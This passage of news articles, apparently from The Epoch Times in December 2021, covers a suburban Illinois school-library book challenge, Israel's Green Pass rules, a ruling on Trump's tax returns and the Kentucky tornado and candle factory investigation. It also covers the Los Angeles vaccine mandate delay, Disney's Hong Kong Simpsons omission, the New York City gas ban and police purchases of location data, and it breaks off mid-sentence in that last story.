books have also pushed more parents to step from the sidelines and join the fight, according to Christine Martin. Martins son was a student at Downers Grove North High School. For years, Martin showed up at one school board meeting after another, questioning changes she didnt like. Parents are finally stepping up to the podium to tell school boards, school administration, teachers, that what you are teaching within the school is not acceptable, Martin told The Epoch Times. It is growing bigger and bigger. It is very grassroots. Antifa and Threat On Nov. 15, at District 99s monthly meeting, the new school auditorium was packed with about 200 attendees, many parents holding up signs that read No Porn. Newsome and several parents voiced their concerns about Kobabes books. Both Proud Boys and Antifa members were there as well, according to parents present at the meeting. Antifa is a far-left, anarcho-communist network of people with a history of violence. Antifa members took pictures of parents speaking out and posted them on their social media accounts. One father, Jim DeVitt, received a threatening phone call from an unknown person days after. An Antifa social media account published an image of Jim DeVitt as he spoke out against Gender Queer at the November school board meeting in Downers Grove, Ill. in November 2021. (Courtesy of Terry Newsome) That made Newsomes wife very worried. She asked him: Why do you have to do this? Youre putting us at risk. Newsome replied, I really feel that were in a war for the future of our children in our country. She then asked, Why you? Newsome said: If everybody in America says, Why me? were not going to have an America anymore. Think about those 18-year-olds that joined the military and fought for America. They came back in a wheelchair with no arms and legs, or they died. Well, why them? A week after the board meeting, Newsome and another parent sat down with school librarians and principals to discuss Kobabes books. A Sit Down With Principals According to the school board policy, any student, parent, or community member could request a reconsideration of instructional materials used in District 99. On Newsomes request form, in the section of reasons for objection, he wrote: The book is child pornography. See photos. If any child sees this book, the result would be giving them access to child pornography. That was exactly what Newsome told library administrators and principals at the meeting. Newsome said he wasnt against books that depict teenagers who identify with uncommon gender identities. He said he just wasnt comfortable with the sexual scenes in the books. When Kim Pakowski, the library chairperson at District 99s Downers Grove South High School, told Newsome she had no formal definition of child pornography, Newsome showed her a printout of a Merriam-Wester definition he had prepared, according to the official meeting minutes obtained by The Epoch Times. Pakowski then focused on the intention of the author. She said the intent of pornography was to provide sexual excitement, but this books intent was differentit was to show the authors unique experiences and journey. She said she had recommended adding Fifty Shades of Grey to bookshelves. Later, she decided not to, because of the authors sexual intention. A police officer stands outside the school board meeting of Community High School District 99, in Downers Grove, Ill., on Dec. 13, 2021. (Cara Ding/The Epoch Times) Fifty Shades of Grey landed three times on the American Library Associations annual top 10 list of most banned and challenged books, because of sexually explicit content. At District 99s two high schools, librarians make the decisions on book selections. After the meeting, both high school principals, Courtney DeMent and Edward Schwartz, announced their decision to Newsome through email: We agree Gender Queer should remain at our libraries. The book spoke to a unique group of students and had received positive reviews from authoritative organizations, the email read. The graphics also helped reluctant readers to find joy in reading, they added, according to an email obtained by The Epoch Times. Students have the choice to check this book out or not; those who do, and find it distasteful, can return it and [hopefully] select another book to read, they wrote. On Dec. 1, Newsome raised the issue with District 99 Superintendent Hank Thiele. Thiele told Newsome that librarians shouldnt be expected to comment on the legal definition of pornography; that was a lawyers job, according to an email obtained by The Epoch Times. Thiele spoke with school board attorneys, who wrote in an email that the books werent pornography. Noel Manley got a seat at the December school board meeting, in Downers Grove, Ill., on Dec. 13, 2021. (Cara Ding/The Epoch Times) Keep Beating the Drum After the heated November board meeting, District 99 administrators moved the December meeting from the new spacious stadium to a small community room in an old administrative building. Only 20 people were allowed to attend. Two Downers Grove police officers and one school security guard were assigned to be present at the board meeting. On Dec. 13, the day of the meeting, Noel Manley, a parent who has been active in local school board meetings for 10 years, arrived an hour and a half early to make sure he got a chance to hold the microphone. This would be District 99s last school board meeting of the year, and Manley wanted to use the three minutes given to each public commenter to summarize issues of the year, including that of Kobabes books. Manley didnt think District 99 administrators would take Kobabes books off the shelves, but the issue could rally parents to support like-minded candidates in upcoming school board races, Manley told The Epoch Times. You have to constantly beat the drum to get people to vote on these issues, Manley said. As for Newsome, he didnt attend the December meeting at all. He went to an event supporting local congressional candidate Rob Cruz, who runs on an education agenda that speaks to Newsome. Am I going to make a difference? Maybe yes, maybe not, he said. But Ive got to at least try. I cannot go on and think that I didnt even try to help my childrens future. Israelis wear face masks as a means of protection against the coronavirus, in central Jerusalem on Aug. 19, 2021. (Menahem Kahana/AFP via Getty Images) Israel Backs Down From COVID-19 Vaccine Green Pass Requirement for Entry to Shopping Centers A day after Israel announced a COVID-19 Green Pass would be required to visit shopping centers, the Ministry of Health backed down on some of the contentious requirements originally set out. Prime Minister Naftali Bennett and Health Minister Nitzan Horowitz decided on Tuesday that the new regulations would be put in place after 22 new cases of Omicron were identified in Israel, bringing the total number of cases of the new variant in the country to 89, The Times of Israel reports. On Sunday, officials confirmed 67 cases of Omicron have been detected in Israel but noted that there was a high probability that there are 80 additional cases of exposure to the Omicron variant, who are still waiting for their genetic sequencing results. Under the regulations proposed on Tuesday, individuals entering shopping malls would have been required to show their Green Pass to security guards, who would have then provided them with a bracelet granting them entry into the facility for the day, so long as they met the requirement of being fully vaccinated, recently recovering from the disease, or presenting a negative test result, as per The Times. Individuals who do not have a Green Pass would have been allowed to enter shopping malls, but only to use essential services, such as pharmaciesalthough health officials and the attorney general didnt specify what constitutes an essential service. On Wednesday, the Ministry of Health announced that the restrictions on the malls would change and that the requirement to mark vaccinated customers would be canceled, according to Ynet. In addition, malls would be allowed to independently manage the security of their malls according to their capabilities. The new Green Pass rules would have applied to closed commercial spaces of more than 10,000 square meters (107,000 square feet), The Jerusalem Post reports. Business owners argued that businesses inside malls would be significantly harmed by the proposed rules as customers would go to shops on the streets instead. Store owners said they would not comply with the proposed rules and planned to petition the High Court of Justice against them, as per The Times. We will not label customers. If the state of Israel wants us to stand at the entrance to the mall, it should send police. Mall employees wont make this differentiation, shop owners were quoted as saying. Israels Strategic Affairs Minister Eli Avidar on Twitter called the move a hasty step that could have a negative impact on businesses. This is a hasty move without any epidemiological logic nor connection to reality. This is a blow to business owners and a blow to citizens, he tweeted. The democratic public is losing the trust it still has left, and blames those who lend a hand to this madness. According to official figures, 6,419,725 Israelis have had one dose of the coronavirus vaccine, 5,796,279 have had two doses, and 4,133,398 have had three, representing roughly 70.14 percent of the population. Israeli officials updated quarantine rules for arriving travelers in light of the new Omicron variant. Vaccinated individuals returning from red countries with high case rates will now be allowed to quarantine at home for a week as opposed to having to stay in a state-run isolation facility, so long as they can provide a negative PCR test result. They will also need to present a negative COVID-19 test result to leave quarantine. Non-vaccinated individuals who do not present proof of immunity will be required to stay in a state-run isolation facility unless they take a COVID-19 test when arriving at the airport and the results are negative. The newly-updated travel rules are also set to take effect on Friday. Judge Denies Trump Lawsuit Aimed at Shielding Tax Returns From Congress A federal judge late Tuesday rejected an attempt by former President Donald Trump to shield his tax returns from Congress. Trump had charged that the House Ways and Means Committee, led by Rep. Richard Neal (D-Mass.), did not have a legitimate legislative purpose for pursuing his returns. Neal had said the purpose was to make sure the IRS-run Presidential Audit Program has no flaws. U.S. District Judge Trevor McFadden, a Trump nominee, said Trump may be right on the facts but he is wrong on the law. Supreme Court precedent, he added in a 45-page ruling (pdf), requires great deference to facially valid congressional inquiries. The saga stretches back to before Trump won the 2016 election when major Democrats called on him to release his tax returns. Trump declined. Neal, the ranking member on the committee, tried pushing the panel to request the tax returns and separately introduced a resolution that would require the Treasury Department to provide the returns to Congress. The efforts failed in the Republican-controlled House of Representatives, but Democrats flipped the lower chamber in the 2018 midterms. Shortly after becoming chairman of the panel, Neal announced that the panel would pursue the public release of President Trumps tax returns. Neal was stymied, though, by the Departments of Treasury and Justice, which said his alleged purpose in obtaining the returnsmaking sure the IRS audited and enforced tax laws against a presidentwas undercut by public statements from him and other Democrats about wanting to release the returns to the public. After President Joe Biden was sworn in, the Executive Branch changed its position on the matter. The Department of Justice over the summer ordered compliance with a fresh request from Neal to obtain Trumps returns. That triggered a filing from Trump, which was rejected by McFadden. The judge said he found one of the stated purposes, the review of the audit program, was valid. At the same time, he acknowledged that public statements from Democrats indicate they will make public Trumps returns after acquiring them. Troubling as intervenors evidence may be, the committee need only state a valid legislative purpose. It has done so. A faithful application of binding precedent blocks the court from any further analysis, whatever intervenors might say about the motives behind the committees request, McFadden wrote. It might not be right or wise to publish the returns, but it is the chairmans right to do so. Congress has granted him this extraordinary power, and courts are loath to second guess congressional motives or duly enacted statutes. The court will not do so here and thus must dismiss this case, he added later. The ruling was stayed for two weeks to give Trump time to appeal. Trumps lawyers informed the court that they will lodge an appeal. Neal said in a statement that the ruling was not a surprise. The law is clearly on the Committees side, he said. I am pleased that were now one step closer to being able to conduct more thorough oversight of the IRSs mandatory presidential audit program. In this aerial view, crews clear the rubble at the Mayfield Consumer Products candle factory after it was destroyed by a tornado three days prior, on December 13, 2021 in Mayfield, Kentucky. (Scott Olson/Getty Images) Kentucky Candle Factory Under Investigation Following Tornado Deaths Mayfield Consumer Products (MCP) is under investigation by state workplace safety inspectors for its labor practices after managers allegedly threatened to fire employees if they called off, or left, their shift during a series of tornadoes beginning on Dec. 10. Eight workers died when MCPs candle-making factory in Mayfield, Kentucky, was destroyed during the storms. The Kentucky Labor Cabinet and attorney John Caudill are investigating the facility after employees brought the alleged labor issues to their attention. In a statement on Dec. 15, MCPs ownership said it had retained an independent team to investigate the actions of its managers who might have not been following safety protocols. Following a series of powerful tornadoes throughout Kentucky and parts of the Midwest over the weekend, there have been at least 74 people confirmed dead in Kentucky, including the eight inside the factory, according to Gov. Andy Beshears office. Wreckage of a candle factory, destroyed by a tornado is seen after extreme weather hit the region on December 13, 2021, in Mayfield, Kentucky. (CYRIL JULIEN/AFP via Getty Images) The factory uses strong chemicals for its scented candles, and a number of people suffered chemical burns. Caudill said it was unknown if the company had an emergency plan in place. A spokeswoman for the Kentucky Labor Cabinet told The Epoch Times the company had an emergency action plan in place and employees had been trained on its emergency action plan. We have been made aware of workplace fatalities that occurred as a result of the catastrophic tornadoes that impacted the Mayfield area, Labor Cabinet spokesperson Holly Neal told The Epoch Times on Dec. 14. An investigation into the events is underway and could take up to six months to complete. Caudill, who served as an assistant U.S. attorney from 1989 to 2005, said he is focusing on the working conditions at MCP following the allegations against managers. Caudill, who is based in Bowling Green, Kentucky, said that he had been contacted by about a half-dozen employees who asked what their rights would be for not being allowed to call out from work, or leave, after the tornado warnings. Thats horrific if its true, said Caudill, who has represented workers who fell victim to discriminatory hiring practices under the Kentucky Civil Rights Act. I am hearing that there were a lot of workers who were nervous about working that night. Wreckage of a candle factory in Mayfield, Ky., which was destroyed by a tornado as extreme weather hit the region, seen on Dec. 13, 2021, (CYRIL JULIEN/AFP via Getty Images) Many of the candle factorys workers are from Puerto Rico and were inside working an overnight shift when the tornadoes ripped through the city of about 10,000 in southwestern Kentucky. About 100 people were inside the building at the time. The workers were hired at $8 an hour for 10-hour to 12-hour shifts, more than the states minimum wage of $7.25 an hour. Bob Ferguson, an MCP spokesman who works for the Hawkbill Group in Washington, D.C., denied the claims that managers said they would fire workers if they didnt work. The company is owned by Mary Propes and is based in Charleston, South Carolina. MCP has operations in different states, and related business ventures in China and India, Caudill said. In a statement issued on Dec. 14, MCPs Chief Executive Troy Propes said, Were confident that our team leaders acted entirely appropriately and were, in fact, heroic in their efforts to shelter our employees. Propes added the company didnt want to allow people to leave the building as the severe storms approached. However, there were numerous reports from workers at the factory, who said they heard managers tell co-workers that they could get fired if they left on the night of the tornadoes. We are hearing accounts from a few employees that our procedures were not followed, Propes said. Were going to do a thorough review of what happened, and were asking these experts to critique our emergency plans, and to offer any suggestions on ways they may be improved if any. Propes said that the company is giving $1,000 to each of its employees to help with expenses because of the tornadoes. Ferguson said that similar to the CCP (Communist China Party) virus pandemic, people didnt have to work during the tornado warnings if they didnt want to. I am looking into whether the company was negligent in its protocols or preventing the deaths or injuries of its workers, Caudill added. When did they know about the tornado? What safeguards did they have in place? When the tornado struck on Dec. 10, the workers huddled in a hallway and sheltered in place, according to Ferguson and Troy Propes. There were conflicting reports of whether the company held emergency drills. The company said it had. MCP, which supplied candles to Bath and Body Works stores, was the third-largest employer in Graves County, according to the countys website. On March 8, 2019, the facility at 112 Industrial Drive in Mayfield was inspected by the Division of Compliance. The inspection resulted in three serious and five lesser citations. The citations listed problems with electrical protective equipment; maintenance, safeguards, and operational features for exit routes; and personal protective equipment. MCP was fined $16,350, but after a formal settlement agreement was reached on July 7, the fines were reduced to $9,810, according to Labor Cabinet information provided to the Epoch Times. A framed photo lies among the debris of the home in the aftermath of tornadoes in Mayfield, Ky., on Dec. 13, 2021.(Gerald Herbert/AP Photo) Kentucky Clears Mountains of Tornado Debris; 12 Children Among 74 Dead MAYFIELD, Ky.Clean-up crews in western Kentuckys devastated communities on Tuesday ramped up their Herculean task of carting away mountains of debris left by last weeks killer tornadoes as survivors huddled together for warmth and support. In the hard-hit city of Mayfield, five families bunked together at the home of Reina Guerra Perez, swaddled in donated blankets and cooking on a fire built with scavenged wood. Were cooking out back using the wood from fallen trees and keeping food warm as best we can, she said. Her house survived, but the 26 people seeking shelter there on Tuesday had no access to running water or electricity. The search for bodies beyond the 74 known fatalities came up empty on Tuesday. The tornadoes victims included more than a dozen children, Beshear said, among them a 2-month-old infant. The oldest to die was 98 years old, he said. I still expect that we will find some more bodies. There is just so much destruction, Governor Andy Beshear said at a briefing, adding that more than 100 people were missing and eight victims were unidentified. Another 14 people died in four other states: six at an Amazon.com Inc warehouse in Illinois, four in Tennessee, two in Missouri and two in Arkansas. Emergency workers search through what is left of the Mayfield Consumer Products Candle Factory after it was destroyed by a tornado in Mayfield, Ky., on Dec. 11, 2021. (John Amis/AFP via Getty Images) More than 100 people were working at a candle factory in Mayfield, Kentucky, when the storm, which Beshear said will probably be one of the most devastating tornado events in U.S. history, reduced the plant to rubble. Eight people were killed, far less than initially feared. If you saw it in person, you would believe thats a miracle, Beshear said of the fact that more people were not killed. Hundreds National Guard service members were searching for victims and survivors, clearing roads and providing police services, Beshear said. As work crews removed the remains of leveled cities and towns one truckload at a time, the governor said the cleanup would help communities begin to heal. There is something therapeutic about taking that chaos and destruction and death and getting it out of some of those areas, said Beshear. President Joe Biden plans to visit on Wednesday. He declared a major federal disaster in Kentucky on Sunday. Ronna Brockmeier Blattner looks over the damage caused by tornado at her familys home and business in Edwardsville, Ill., on Dec. 13, 2021. (David Carson/St. Louis Post-Dispatch via AP) Many of the victims relatives started the emotionally trying ordeal of making funeral arrangements. Carla Cope, whose 29-year-old son Clayton, a U.S. Navy veteran, was among the six Amazon workers, said the company has offered to pay for the arrangements. An Amazon spokesman declined to confirm that the company was picking up the funeral expenses but said it was sending workers an array of supplies and services, including food and water. U.S. workplace safety regulators are investigating the circumstances around the Amazon warehouse collapse. He Had a Huge Heart Clayton Cope loved his dog, video games and hunting and fishing with his father, his mother said. He was a really quirky kid with a great sense of humor and he had a lot of friends, she said. He drew people to him and he had a huge heart. The disaster has also produced an outpouring of volunteers. At lunchtime on Tuesday, hundreds of people converged on Mayfield-Graves County Fairgrounds, where a loosely organized group of volunteers with food trucks came from hundreds of miles away to provide free meals. The area has become a magnet for a range of relief efforts. Coordinating the lunch rush was Daniel Oxnard, 42, a student, who started things off on Saturday when he drove his van packed with food and cooking gear more than 200 miles and served 1,000 meals. Since then, others joined in, including Amish volunteers from Tennessee, he said. They come here every day with a trailer-load of food and two full griddles and they just cook their hearts out, he said. By Tuesday afternoon, 18,000 Kentucky homes and businesses still lacked power, according to PowerOutages.us, more than four days after the tornadoes surprised people by striking unusually late in the year. Insured losses from the swarm of tornadoes could total up to $5 billion, industry experts said on Tuesday. More than 300 people in Kentucky, as well as in Arkansas and Tennessee, were being housed in Red Cross shelters, and that number is expected to grow. Hundreds more have been placed temporarily in resorts at area state parks, Kentucky Red Cross Chief Executive Steve Cunanan said. By Julio-Cesar Chavez and Richa Naidu A woman walks away from what is left of the Mayfield Consumer Products Candle Factory as emergency workers combed the rubble after it was destroyed by a tornado in Mayfield, Kentucky, on Dec. 11, 2021. (John Amis/AFP via Getty Images) Kentucky Gov. Beshear Announces Investigation into Candle Factory Tornado Deaths Kentucky Gov. Andy Beshear announced on Tuesday that an investigation will be carried out into the deaths of eight people who were killed at a candle factory when a tornado struck over the weekend. At least eight people were killed after the tornado struck the Mayfield Consumer Products factory, the company said on Sunday. The candle factory was reduced to rubble amid the extreme weather conditions that swept across several Midwestern and Southern states Friday night, with Mayfield, a city of about 10,000 in the states west, among the hardest hit. Beshear described the devastation as unlike anything I have seen in my life. He told a press briefing on Tuesday that a month-long review of the deaths will be conducted by the Kentucky Division of Occupational Safety and Health Compliancethe states workplace safety agency. So it shouldnt suggest that there was any wrongdoing. But what it should give people confidence in, is that well get to the bottom of what happened, he told reporters. This combination of satellite images provided by Maxar Technologies shows Mayfield Consumer Products candle factory and nearby buildings, after a tornado caused heavy damage in the area of Mayfield, Ky., on Jan. 28, 2017, top, and below on Dec. 11, 2021, (Satellite image 2021 Maxar Technologies via AP) The announcement comes amid reports that at least five workers at the factory in Mayfield were told by supervisors that they would be fired if they left work before their shifts ended, NBC News reported. If you leave, youre more than likely to be fired, McKayla Emery, 21, said she heard supervisors say after employees had asked to go home after tornado sirens had sounded at about 5.30 p.m. on Friday. I asked to leave and they told me Id be fired, Elijah Johnson, 20, told the news outlet. Even with the weather like this, youre still going to fire me? he said he asked. Haley Conder, 29, another worker at the factory, told NBC News that team leaders cited safety reasons in preventing anyone from leaving, and asked workers to remain in hallways and the bathrooms. She said everyone was sent back to work after supervisors thought the tornado was no longer a threat. You cant leave. You cant leave. You have to stay here, Conder said supervisors told her. The situation was bad. Everyone was uncomfortable. Mark Saxton, 37, a forklift operator, told the news outlet that employees were never offered the option to go home. Thats the thing. We should have been able to leave, he said. The first warning came, and they just had us go in the hallway. After the warning, they had us go back to work. They never offered us to go home. The Epoch Times has contacted Mayfield Consumer Products for comment. A company spokesman denied the allegations in a statement to NBC News. Its absolutely untrue, spokesman Bob Ferguson said. Weve had a policy in place since COVID began. Employees can leave any time they want to leave and they can come back the next day. Ferguson also said supervisors followed guidelines set by the Federal Emergency Management Agency and the Occupational Safety and Health Administration. Those protocols are in place and were followed, Ferguson said. A child receives the Pfizer-BioNTech COVID-19 vaccination at the Fairfax County Government Center in Annandale, Virginia, on Nov. 4, 2021. (Chip Somodevilla/Getty Images) LA District Postpones Vaccine Mandate as Thousands of Students Remain Unvaccinated The Los Angeles school board on Tuesday agreed not to require children to be vaccinated against COVID-19 until next fall, pushing back a Jan. 10 deadline as thousands of students remain unvaccinated. The Los Angeles Unified School District vaccine mandate was postponed after board members raised concerns that students in Californias largest school district could be pushed into independent study, the Los Angeles Times reported. The decision follows a proposal on Friday announced by Interim Los Angeles Superintendent Megan K. Reilly. She couched the move as an example of the vaccination programs success, saying that nearly 87 percent of students aged 12 and older were in compliance with the policy. The extension would give others an opportunity to also become inoculated, she said. This is a major milestone, and theres still more time to get vaccinated, Reilly said on Friday. The district will now continue to require weekly testing of all students through the month of January. After that it will only test students who dont have proof of vaccination. Some 28,000 students remain unvaccinated, according to the Los Angeles Times. I felt like we were ending up with a situation in which those who complied would be the most negatively affected, school board member Jackie Goldberg said, the Los Angeles Times reported. I think we have no choice. I want to tell those of you who come and think you pushed us back. No, you didnt. The mandate remains, she added. Incoming Superintendent Alberto Carvalho called the move the right decision during a news conference on Tuesday. The conditions that the board is facing today, and the policy adjustments are not, in my opinion, a reversal of decisions made, he said. Carvalho described the move as an evolution of the previous board position that recognizes what is best for students in the district. California in October became the first state to mandate statewide COVID-19 vaccinations for schoolchildren. What we are announcing here today, a statewide requirement for in-person instruction for all of our children to add to a well-established list that currently includes ten vaccinations and well-established rules and regulations that have been advanced by the legislator for decades. To add to that list, the vaccination for COVID-19, we intend to do that once the FDA has fully approved the vaccine which will give us time to work with districts, Gov. Gavin Newsom said during a press briefing on Oct. 1. The move drew criticism from some. Mari Barke, chair of the Orange County Board of Education, said that it should be up to parents to decide what is best for children. Im certainly not proud that California is the first state to mandate this. I think parents are the best to make these types of decisions for their children, so Im very disappointed, Barke told The Epoch Times. I believe strongly in parental rights and parents knowing whats best for their children. This vaccine has had the least testing of any vaccine. Its not a virus that is killing lots of children unless they have severe comorbidities, and I think its government overreach. Vanessa Serna and Reuters contributed to this report. Protesters march past LAPD officers during a demonstration over the death of George Floyd in downtown Los Angeles, Calif., June 6, 2020. (Kyle Grillot/AFP via Getty Images) LA Police Commission OKs Policy to Exempt Media From Protest Dispersals LOS ANGELESThe Los Angeles Police Commission approved Dec. 14 an updated department policy to comply with Senate Bill 98 (SB 98), which exempts media professionals from having to comply with police dispersal orders while covering protests, marches, and other types of demonstrations. The legislation states that law enforcement shall not intentionally assault, interfere with, or obstruct journalists covering protest demonstrations and other civic actions. It also bars officers from citing journalists for failure to disperse, and bars officers from violating or interfering if journalists are solely gathering, receiving, or processing information. The updated policy also broadens the Los Angeles Police Departments (LAPD) definition of media to include freelance reporters and students reporting for their high school or college newspapers. But, should a member of the mediaeither the most well-recognized or freelancedo things that violate other laws other than those discussed in the statute, then the department may take action because being a member of the media does not give you immunity from engaging in destructive acts or other acts, said Liz Rhodes, director of the LAPDs Office of Constitutional Policing. Southland journalists celebrated on Oct. 9, when the bill was signed into law by Gov. Gavin Newsom. Media organizations have documented more than 50 incidents of journalists being injured, detained or arrested over a 12-month period, the Greater Los Angeles chapter of the Society of Professional Journalists said in a statement on Oct. 9. [The Greater Los Angeles chapter of the Society of Professional Journalists] viewed SB 98 as a necessary step to safeguard coverage of demonstrations by ensuring that journalists may continue reporting in an area after an unlawful assembly has been declared. The Society of Professional Journalists worked with a coalition of more than 20 other journalism organizations, media unions, and advocacy groups and spent months informing state legislators of the urgent need to safeguard press freedoms in California. The coalition contended that the LAPDs use of unlawful-assembly orders has expanded dramatically with little oversight, especially in the months since George Floyd was killed by police in Minneapolis on May 25, 2020, drawing thousands into the streets to protest. Our chapter has been frustrated by the number of incidents where police have arrested, detained, or manhandled journalists who were simply attempting to do their jobs, Ashanti Blaize-Hopkins, SPJ/LA vice president, said in October. We decided earlier this year that we needed to join forces with other journalism groups to demand substantive changeby seeking legislation that will hopefully prevent such incidents from happening in the future. The bill was opposed by the California Police Chiefs Association and other law enforcement groups, who supported a last-minute effort to add an amendment requiring journalists to seek the permission of a police commander before entering closed areas around protests. The amendment was eventually dropped. The LAPDs treatment of journalists has come under fire over the last year, particularly following its detention of journalistsincluding the Los Angeles Times James Queally and Spectrum News 1s Kate Cagleduring March demonstrations in Echo Park. On April 21, the American Civil Liberties Union of Southern California warned the LAPD and other agencies in the region that it will closely monitor how law enforcement treats journalists at protests. That warning came a day after a coalition of journalism groups sent a letter to Los Angeles law enforcement agencies and government leaders demanding that media be given appropriate access to cover public protests and not be arrested while working in areas where dispersal orders have been issued. A photo illustration of a mobile phone displaying the Disney+ streaming service in Hong Kong shows a list of episodes of popular U.S. cartoon series "The Simpsons," with episode 12 of season 16 missing from the list, taken on Nov. 29, 2021. (Peter Parks/AFP via Getty Images) Lawmakers Accuse Disney of Scrubbing History for CCP by Censoring Simpsons Episode in Hong Kong Republican lawmakers have called out Disney for cowering to the Chinese Communist Party (CCP) by omitting an episode of The Simpsons that criticizes Beijing from its new streaming service in Hong Kong. Disney+ released all episodes of the show except for episode 12 of season 16, which refers to the 1989 Tiananmen Square massacrewhen the CCP ordered its troops to open fire on protesters who were advocating for democratic reforms, killing potentially hundreds or even thousands of people. The pulled episode, Goo Goo Gai Pan, features the Simpsons visit to Tiananmen Square, where they see a joke placard that reads: On this site, in 1989, nothing happened. In the episode, the family also visits the embalmed body of former CCP leader Mao Zedong, whom Homer Simpson calls a little angel that killed 50 million people. In a Dec. 10 letter addressed to Bob Chapek, chief executive of Disney, the lawmakers accused the company of apparently [scrubbing] history on behalf of the Communist tyrants in Beijing. The fact that Disney would delete a satirical cartoon episode that has the potential to expose the evils of the Chinese Communist Party is disgusting and worthy of condemnation, Rep. Jeff Duncan (R-S.C.), who led the letter, said in a statement. The missive, co-signed by 13 Republican members of Congress, inquires about the reasons behind omitting the episode, how much influence or control the CCP exerts on Disneys content, and the stance of the company regarding the Tiananmen Square massacre. The Disney controversy comes amid escalating concerns about censorship in Hong Kong following Beijings draconian national security law, imposed in June 2020, that significantly stifles freedom of speech and freedom of association in the city. The law gives the Chinese regime sweeping power to target individuals for any acts deemed by Beijing as secession, subversion, terrorism, or collusion with foreign forces. Duncan said Disneys apparent decision to bend to the CCPwhich is committing genocide against Uyghurs and whose human rights violations and crimes against humanity are well-knownerodes American principles. This kind of influence on U.S. companies should be exposed and reversed, he said. The lawmaker also demanded consistency from the company. Walt Disney animatedly fought against the rising tides of Communism and fascism, and this action is a betrayal of the founding principles of Disney, Duncan said. This isnt the first instance of Disney being called out for aiding Beijings narrative. In 2020, the company came under fire for partly filming the live-action movie Mulan in the far west Xinjiang region, where more than 1 million Uyghurs and other Muslim minorities are being detained in internment camps, according to U.N. estimates. The movie features in its credits a special thanks to CCP agencies that are accused of participating in human rights violations against Uyghurs in the region, prompting calls for a boycott of the film. The Republican lawmakers also asked Disney if the CCP had hinted at shutting down or slowing down operations at the Shanghai Disneyland resort during the review of streaming the Simpsons content in Hong Kong. According to a 2020 report by PEN America, a New York-based nonprofit group focused on defending free speech, U.S. studios investment in theme parks in China serve as a form of business pressure, given that companies would stand to lose billions of dollars if China decided to punish them. Disney, for example, has a 47 percent stake in the Shanghai Disneyland Park, which opened in 2016 and which cost over $5.5 billion to build, the report reads. Rescue workers carry a victim to an ambulance after a fire broke out at the World Trade Center in Hong Kong, on Dec. 15, 2021. (Sung Pi-lung/The Epoch Times) Major Fire Traps 300 in Hong Kongs World Trade Center, 13 Injured Over 300 people were trapped on the rooftop of Hong Kongs World Trade Center after a major fire broke out on Dec. 15. At least 13 people were injured and taken to hospital. Firefighters used two jets and mobilized two breathing apparatus teams to fight the blaze, according to a government notice. The fire likely started from the machine room on the first floor, which later burnt scaffolding on the outside of the building, according to the preliminary investigation. The 38-story building, which houses offices and a mall, is currently under renovation. A firefighter rescues a person at the World Trade Center in Hong Kong on Dec. 15, 2021. (Sung Pi-lung/The Epoch Times) No fatalities have been reported and the fire was extinguished at 4:30 p.m. local time. One of the 13 who has been sent to hospitals is in critical condition. The fire was raised to a level-three alert at 1 p.m., with level five being the most severe. Thousands of people have been evacuated from the building, according to the government notice. People walk out from the World Trade Center in Hong Kong, on Dec. 15, 2021. (Sung Pi-lung/The Epoch Times) Firefighters also rescued dozens of people who were trapped on the lower floor of the building. The fire started in the early afternoon in the citys popular commercial and shopping district of Causeway Bay. The authorities have cordoned off the area. Hong Kong Epoch Times staff and The Associated Press contributed to this report. New York City Set to Ban Natural Gas in New Buildings in Shift Toward Alternate Energy New buildings in New York will no longer be able to use natural gas if a new law passes the city council this week, following in the footsteps of dozens of smaller U.S. cities attempting to move to alternate forms of energy. Council members are widely expected to vote on the new measure on Wednesday. Under the legislation, the combustion of substances with certain emissions profiles would be prohibited in new buildings within the city, and the commissioner of buildings will deny construction documents and permits in connection with a building that would require the combustion of these substances, although some exceptions will be made. No person shall permit the combustion of any substance that emits 25 kilograms or more of carbon dioxide per million British thermal units of energy, as determined by the United States energy information administration, within such building, the legislation states. Specifically, it would prohibit the use of natural gas in new buildings under seven stories high at the end of 2023 and those over seven stories in 2027, according to an earlier summary of the legislation. However, some exceptions are made, for example in buildings that will be primarily used by a utility regulated by the public service commission for the generation of electric power or steam, and in buildings where 50 percent or more of the units are operating under affordable housing. The bill would further require the Mayors Office of Long-Term Planning and Sustainability to conduct a study regarding the use of heat pump technology, and a study of the impact of the bill on the citys electrical grid. According to the Urban Green Council, New York City buildings emit 40 percent of the citys carbon each year, which is more than the total emissions from electricity use citywide. The #GasFreeNYC coalition, led by the New York Communities for Change, the New York Public Interest Research Group, We Act for Environmental Justice, and Food & Water Watch, has advocated for the gas ban legislation for months, along with Council Member Alicka Ampry-Samuel, the bills sponsor. Mayor Bill de Blasio also supports the legislation, which has 26 co-sponsors. Our climate movement is winning. The nations largest city is about to end gas hookups in new buildings and set a big precedent for other cities and states to follow, the coalition said in a statement. As climate action stalls at the federal and international level, New York City is leading the way on fighting climate change, cutting air pollution, and creating good jobs. The evidence is clear: an immediate shift to requiring gas-free buildings is both feasible and necessary. We have the technology and the skills to build all-electric buildings, many of which are already built or under construction across the city, the coalition said. However, the new law could result in higher costs for buildings using electricity for heat as opposed to those relying on natural gas. According to an October report by the Energy Information Administration, nearly half of U.S. households heat their homes with natural gas, and they will pay 30 percent more on average this winter, while homes warmed with electricity will pay just 6 percent more when compared to last year. However, Eversource Energy stated earlier this month that customers could see natural gas heating prices rise by 15 percent, costing an average of $30 per month more compared to 2020. Members of the oil and gas industry have opposed the bill, noting that using gas for space heating would both lower emissions and keep costs low for customers, particularly at a time when the economy is already volatile. Energy-efficient, low-carbon buildings could be powered by an innovative combination of natural gas and renewable energy (such as hydrogen) to both lower emissions and utility bills, the American Petroleum Institute, an oil and gas lobby group, said as part of the city council hearings on the bill. Until now, the most populated U.S. city that has banned natural gas in new buildings is San Jose in California, which is home to just over 1 million residents. Reuters contributed to this report. The FBI seal is seen before a news conference at FBI headquarters in Washington on June 14, 2018. (Jose Luis Magana/AP Photo) No Warrant, No Problem: Report Details Law Enforcements Data Purchases Instead of obtaining warrants to collect geolocation data from companies, U.S. federal law enforcement agencies have turned to simply purchasing such informationa tactic that has privacy advocates calling for Congress to enact reforms. Law enforcements purchases of bulk data have been on the rise since the U.S. Supreme Courts 2018 decision in Carpenter v. United States, when justices said law enforcement agencies need to obtain warrants before they can request geolocation data. A Dec. 9 report from the Center for Democracy & Technology (CDT) attempts to chronicle this trend, showing that U.S. federal agencies have at least 30 contracts valued at about $86 million with various data broker services. The documents suggest that data obtained from brokers are employed for a variety of purposes such as pre-investigative inquiries, intelligence gathering, crime prevention, or criminal investigations, the report reads. Indeed, commercially acquired data feeds into the data-driven operation of modern law enforcement and intelligence, a phenomenon which scholars have called big data policing. Geolocation seems to be the most sought-after data point by law enforcement, according to the report. The FBI and Customs and Border Protection both have contracts with data broker Venntel, which harvests location 